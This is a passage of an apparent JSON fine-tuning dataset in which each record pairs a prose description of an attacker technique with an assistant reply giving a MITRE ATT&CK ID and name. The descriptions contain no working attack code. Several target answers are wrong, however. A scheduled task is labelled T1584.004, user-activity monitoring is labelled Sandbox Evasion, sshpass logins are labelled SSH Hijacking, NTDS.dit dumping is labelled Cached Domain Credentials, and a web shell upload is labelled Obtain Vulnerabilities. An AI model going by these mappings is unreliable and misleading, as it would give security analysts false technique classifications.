                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary executes a Docker build on the host, embedding credential‑stealing tools into the image."
            },
            {
                "role": "assistant",
                "content": "T1612 - Build Image on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware registers a service using sc.exe to execute a backdoor with SYSTEM privileges."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses mshta.exe to interpret a malicious .mht file, triggering execution of PowerShell commands."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - System Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During persistence, the compromised host's boot configuration is altered to automatically boot into Safe Mode on restart."
            },
            {
                "role": "assistant",
                "content": "T1562.009 - Impair Defenses: Safe Mode Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs a script that connects to the victim's IMAP server and pulls all unread emails."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using reverse engineering, the threat actor extracts the embedded OAuth token from a compiled binary."
            },
            {
                "role": "assistant",
                "content": "T1528 - Steal Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker creates a counterfeit FTP server and convinces users to connect, causing their clients to automatically send stored credentials for authentication."
            },
            {
                "role": "assistant",
                "content": "T1187 - Forced Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During post-exploitation, the threat actor runs a command to add a service account \"serviceAcct\" as a local user and assigns it to the Administrators group."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised system writes stolen files to a hidden .staging folder before uploading via FTP."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor creates a scheduled task on a compromised server to run a backdoor at system startup."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware rewrites the registry values controlling power management to keep the machine awake."
            },
            {
                "role": "assistant",
                "content": "T1653 - Power Settings"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performed a post-compilation step that stripped out all hashing information and file attributes from the ransomware binary to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Obfuscated Files or Information: Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker engineers a custom remote access tool (RAT) with screen capture and file browsing capabilities."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion technique involves triggering an APC in a privileged process, leading to stealthy code injection and persistence."
            },
            {
                "role": "assistant",
                "content": "T1055.004 - Process Injection: Asynchronous Procedure Call"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages the victim's public certificate to encrypt beacon messages, ensuring only the attacker can decrypt them with the corresponding private key."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code copied confidential files to an AWS S3 bucket owned by the threat actor."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team replaces the firmware image of a network router with a malicious version to retain access."
            },
            {
                "role": "assistant",
                "content": "T1601 - Modify System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor exploits a misconfigured IAM role to issue DeleteInstance calls on IBM Cloud VMs."
            },
            {
                "role": "assistant",
                "content": "T1578.003 - Modify Cloud Compute Infrastructure: Delete Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a script to delete all crontab entries it added on a Linux host."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Indicator Removal: Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes a PowerShell script that calls the 'Add-ADGroupMember' cmdlet after creating a domain account for privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs a script that gathers the list of fonts available to the browser via CSS enumeration techniques."
            },
            {
                "role": "assistant",
                "content": "T1217 - Browser Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder exploits a known CVE in the target's VNC server to inject malicious scripts and take control of the remote desktop."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a rogue access point, the attacker sniffed wireless traffic to steal user credentials."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder employed the Remote Desktop Protocol to tunnel a reverse shell into the internal network."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit a zero‑day in the mail server software to issue remote mailbox export commands, collecting email data without user interaction."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware modifies the registry to register a custom authentication package, which runs automatically at system boot."
            },
            {
                "role": "assistant",
                "content": "T1547.002 - Boot or Logon Autostart Execution: Authentication Package"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The technique involves invoking InstallUtil.exe via a scheduled task to persist a malicious .NET payload."
            },
            {
                "role": "assistant",
                "content": "T1218.004 - System Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uses a compromised domain admin account to reset passwords for all user mailboxes."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages a third‑party DNS service to rotate the IP address of its command server periodically."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team accesses Oracle Cloud Infrastructure Vault to harvest stored database passwords via compromised API token."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries purchase a compromised SSL/TLS certificate on the black market and use it to encrypt command‑and‑control traffic."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Obtain Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script extracts browser history and writes it to a hidden Google Docs document shared with the attacker’s account."
            },
            {
                "role": "assistant",
                "content": "T1567.003 - Exfiltration Over Web Service: Exfiltration to Text Storage Sites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a Python keylogger that writes each typed character to /tmp/keylog.log and sends the file via SMTP after a predefined size is reached."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary invokes the Windows Mavinject utility to inject a malicious DLL into svchost.exe, enabling proxy execution of the payload under a trusted system binary."
            },
            {
                "role": "assistant",
                "content": "T1218.013 - System Binary Proxy Execution: Mavinject"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After exploiting a vulnerable WordPress plugin, the adversary injected a custom JavaScript banner that overwrote the site's content with a defacement notice."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor used a crafted command injection vulnerability to spawn an interactive Unix shell and issue arbitrary commands."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits a vendor's update mechanism to install corrupted firmware on embedded devices."
            },
            {
                "role": "assistant",
                "content": "T1495 - Firmware Corruption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The hacker leverages the victim's command line history to harvest LDAP bind passwords entered previously."
            },
            {
                "role": "assistant",
                "content": "T1552.003 - Unsecured Credentials: Bash History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code repeatedly opens and closes handles on a Windows service, eventually exhausting system resources and triggering a denial of service."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware queries Active Directory for computer objects to map the network topology."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker establishes a Remote Desktop Protocol (RDP) session to the target host and runs PowerShell commands over the established channel."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker accessed a privileged service account by extracting its password from insecurely stored configuration files."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sets up a chain of external proxies, each in a different jurisdiction, to obscure the true source of the attack traffic."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - Proxy: External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a malicious Dockerfile, the attacker builds and runs a container that modifies system files."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors scrape Bitbucket servers for proprietary code and commit history to extract intellectual property."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit against a vulnerable Java application allows the attacker to read the JVM’s memory and capture password hashes."
            },
            {
                "role": "assistant",
                "content": "T1212 - Exploitation for Credential Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker harvests public posts on TikTok that mention upcoming product launches to plan a supply‑chain attack."
            },
            {
                "role": "assistant",
                "content": "T1593.001 - Search Open Websites/Domains: Social Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An automated tool attempts a small set of passwords on thousands of usernames to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1110.003 - Brute Force: Password Spraying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware runs the 'net group /domain' command to enumerate permission groups on the target network."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "What is the MITRE ATT&CK ID and Name for a technique where an attacker uses system monitoring to track user activity on a compromised system?"
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor uses the telnet interface of a Cisco switch to execute a configuration script that opens a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1059.008 - Command and Scripting Interpreter: Network Device CLI"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor employs a stealthy kernel module that hooks the file system driver to prevent detection of its files."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a compromised IoT smart speaker to capture voice commands and forwards the recordings to a malicious cloud storage bucket."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors query WMI with \"SELECT * FROM Win32_OperatingSystem\" to retrieve the OS build number and patch level on the target host."
            },
            {
                "role": "assistant",
                "content": "T1592.004 - Gather Victim Host Information: Client Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages compromised AWS IAM user credentials to access EC2 instances and S3 buckets."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a misconfiguration that allows unlimited login attempts, enabling password spraying."
            },
            {
                "role": "assistant",
                "content": "T1110.003 - Brute Force: Password Spraying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor issues the 'net localgroup administrators' command to check for admin group members."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploit automated backup restoration to reset a compromised cloud instance to its original configuration."
            },
            {
                "role": "assistant",
                "content": "T1578.004 - Modify Cloud Compute Infrastructure: Revert Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits an insecure serverless webhook to execute a command that disables security monitoring tools."
            },
            {
                "role": "assistant",
                "content": "T1648 - Serverless Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised hardware component supplier provides SSDs with hidden firmware that stealthily installs a rootkit on the host OS."
            },
            {
                "role": "assistant",
                "content": "T1195.003 - Supply Chain Compromise: Compromise Hardware Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary injects shellcode into the extra window memory of a legitimate Windows application to achieve code execution."
            },
            {
                "role": "assistant",
                "content": "T1055.011 - Process Injection: Extra Window Memory Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exfiltrate a valid TLS certificate from a corporate server and install it on compromised devices to facilitate man-in-the-middle attacks and encrypted communications."
            },
            {
                "role": "assistant",
                "content": "T1608.003 - Stage Capabilities: Install Digital Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware modifies the contents of a system registry hive file on disk before it is loaded."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious PowerShell script uses the Add-Type and [System.Windows.Forms.Screen]::CopyFromScreen method to capture the current screen and saves it to a hidden file."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor abuses Windows NTFS transaction logs to replace a legitimate executable during creation, performing Process Doppelgänging to execute malicious code."
            },
            {
                "role": "assistant",
                "content": "T1055.013 - Process Injection: Process Doppelgänging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder creates counterfeit OAuth access tokens by stealing the signing key, granting unauthorized API calls."
            },
            {
                "role": "assistant",
                "content": "T1606 - Forge Web Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised installer program programmatically removes the Zone.Identifier alternate data stream to bypass security warnings."
            },
            {
                "role": "assistant",
                "content": "T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intruder manipulates data in transit over a WebSocket connection, inserting crafted messages that exploit the application."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign tricks users into entering their email address on a fake login page, which the attacker then records."
            },
            {
                "role": "assistant",
                "content": "T1589.002 - Gather Victim Identity Information: Email Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses sshpass to automate password‑based SSH logins for lateral spread."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary collects credentials from the NTDS.dit file's cached domain hashes after acquiring SYSTEM privileges."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A sophisticated malware injects code via thread local storage, storing its payload in the TLS slot and triggering it through a thread hijack."
            },
            {
                "role": "assistant",
                "content": "T1055.005 - Process Injection: Thread Local Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise involved executing a series of commands via /bin/sh to modify system startup scripts."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a misconfigured WordPress plugin, the attacker uploaded a web shell that provided them with a malicious scanning tool."
            },
            {
                "role": "assistant",
                "content": "T1588.006 - Obtain Capabilities: Vulnerabilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT leverages HTTP/2 server push to covertly send large data sets to an attacker‑controlled endpoint."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware employs a staged delivery, first dropping a small stub that later fetches the main payload."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 installs its own root CA on compromised Linux servers, allowing it to sign fraudulent SSL certificates for internal services."
            },
